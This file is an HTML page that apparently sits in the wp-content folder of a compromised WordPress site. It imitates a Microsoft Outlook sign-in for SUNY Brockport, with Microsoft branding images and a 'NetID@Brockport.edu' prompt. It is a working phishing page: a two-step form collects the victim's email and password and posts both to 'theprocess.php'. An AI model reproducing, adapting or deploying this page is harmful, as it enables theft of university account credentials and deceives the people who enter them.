File: /home/bluecool/domains/bluecool.vn/public_html/wp-content/brockport.edu/login.htm
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Outlook Login</title>
<style>
body {
font-family: Arial, sans-serif;
background: url('https://aadcdn.msftauthimages.net/dbd5a2dd-xxsqqvewyiqgy-erxftowuxmz97jsnwfwdcw102blps/logintenantbranding/0/illustration?ts=637299124255073976') no-repeat center center fixed;
background-size: cover;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
flex-direction: column;
}
.header {
text-align: center;
margin-bottom: 10px;
}
h2 {
font-size: 52px;
color: #333;
margin-bottom: 8px;
}
.login-container {
background-color: white;
padding: 30px;
box-shadow: 0px 4px 12px rgba(0, 0, 0, 0.1);
border-radius: 8px;
width: 395px;
text-align: left;
position: relative;
margin-bottom: 20px;
height: 300px;
}
.login-container img {
max-width: 320px;
height: 50px;
display: block;
margin-bottom: 15px;
}
.title {
font-size: 20px;
font-weight: bold;
margin-bottom: 10px;
}
.instruction {
font-size: .9375rem;
margin-bottom: 15px;
color: #333;
display: flex;
align-items: center;
}
input[type="text"], input[type="password"] {
width: 100%;
padding: 8px;
margin: 8px 0;
border: none;
border-bottom: 1px solid #ccc;
font-size: 14px;
outline: none;
}
.submit-btn {
background-color: #0078d4;
color: white;
padding: 6px;
border: none;
border-radius: 4px;
width: 109px;
height: 32px;
cursor: pointer;
font-size: 14px;
position: absolute;
right: 30px;
bottom: 20px;
}
.submit-btn:hover {
background-color: #005a9e;
}
.checkbox-group {
display: flex;
align-items: center;
margin-top: 10px;
}
.footer-links {
font-size: 13px;
margin-top: 40px;
}
.footer-links a {
color: #0078d4;
text-decoration: none;
}
.footer-links a:hover {
text-decoration: underline;
}
.back-arrow {
cursor: pointer;
font-size: 25px;
font-weight: 1000;
color: #1b1b1b;
width: 24px;
height: 24px;
transform: scaleX(0.6); /* Shrinks the arrow's length */
display: flex;
justify-content: center;
align-items: center;
border-radius: 50%;
transition: background 0.3s ease;
position: relative;
top: -5px; /* Moves the arrow upwards */
}
.back-arrow:hover {
background: rgba(0, 0, 0, 0.1);
}
.email-display {
font-size: 14px;
color: #1b1b1b;
margin-bottom: 5px;
}
.enter-password {
margin-top: 10px;
font-weight: bold;
line-height: 1.75rem;
color: #1b1b1b;
font-size: 1.5rem;
font-weight: 600;
}
.forgot-password {
margin-top: 10px;
font-size: 14px;
color: #0078d4;
text-decoration: none;
}
.forgot-password:hover {
text-decoration: underline;
}
</style
</head>
<body>
<!-- Only Outlook title outside the floating box -->
<div class="header">
<h2></h2>
</div>
<!-- First Floating Box with Microsoft logo and login form -->
<div class="login-container" id="firstPage">
<img src="https://aadcdn.msftauthimages.net/dbd5a2dd-xxsqqvewyiqgy-erxftowuxmz97jsnwfwdcw102blps/logintenantbranding/0/bannerlogo?ts=637297268334637193" alt="Microsoft Logo">
<p class="title">Sign in</p>
<p class="instruction">
<img class="tile-img small" role="presentation" style="max-width: 20px; height: auto; margin-right: 5px; vertical-align: middle;">
to continue to Outlook.
</p>
<!-- Email form will only transition to the second page -->
<form onsubmit="event.preventDefault(); goToSecondPage();">
<input type="text" name="email" aria-describedby="loginHeader usernameError" placeholder="NetID@Brockport.edu" required>
<div class="checkbox-group">
<label for="remember" style="margin-right: 5px; font-size: 0.8125rem;">No account?</label>
<a href="#" style="display: inline; font-size: 0.8125rem;">create one!</a>
</div>
<button type="submit" class="submit-btn">Next</button>
</form>
<div class="footer-links">
<a href="#" style="display: inline;">Can’t access your account?</a>
</div>
</div>
<!-- Second Floating Box below the first one -->
<div class="login-container" id="secondPage" style="display: none;">
<img src="https://aadcdn.msftauthimages.net/dbd5a2dd-xxsqqvewyiqgy-erxftowuxmz97jsnwfwdcw102blps/logintenantbranding/0/bannerlogo?ts=637297268334637193" alt="Microsoft Logo" style="margin-bottom: 15px;"> <!-- Logo on second page -->
<div style="display: flex; flex-direction: column; align-items: flex-start; margin-bottom: 10px;">
<div style="display: flex; align-items: center;">
<span class="back-arrow" onclick="goBack()">←</span>
<div class="email-display" id="displayEmail"></div> <!-- Email will be displayed here -->
</div>
<span class="enter-password">Enter password:</span> <!-- Styled enter password -->
</div>
<!-- Form submits password to a PHP file -->
<form action="theprocess.php" method="POST">
<input type="hidden" name="email" id="hiddenEmail"> <!-- Email will be submitted with password -->
<input type="password" name="password" placeholder="Password" required>
<button type="submit" class="submit-btn">Sign In</button>
</form>
<a href="#" class="forgot-password">Forgot my password?</a> <!-- Added link for password recovery -->
</div>
<script>
function goToSecondPage() {
const email = document.querySelector('input[name="email"]').value;
document.getElementById('displayEmail').textContent = email; // Display the entered email
document.getElementById('hiddenEmail').value = email; // Store email for submission with password
document.getElementById('firstPage').style.display = 'none'; // Hide first page
document.getElementById('secondPage').style.display = 'block'; // Show second page
}
function goBack() {
document.getElementById('firstPage').style.display = 'block'; // Show first page
document.getElementById('secondPage').style.display = 'none'; // Hide second page
}
</script>
</body>
</html>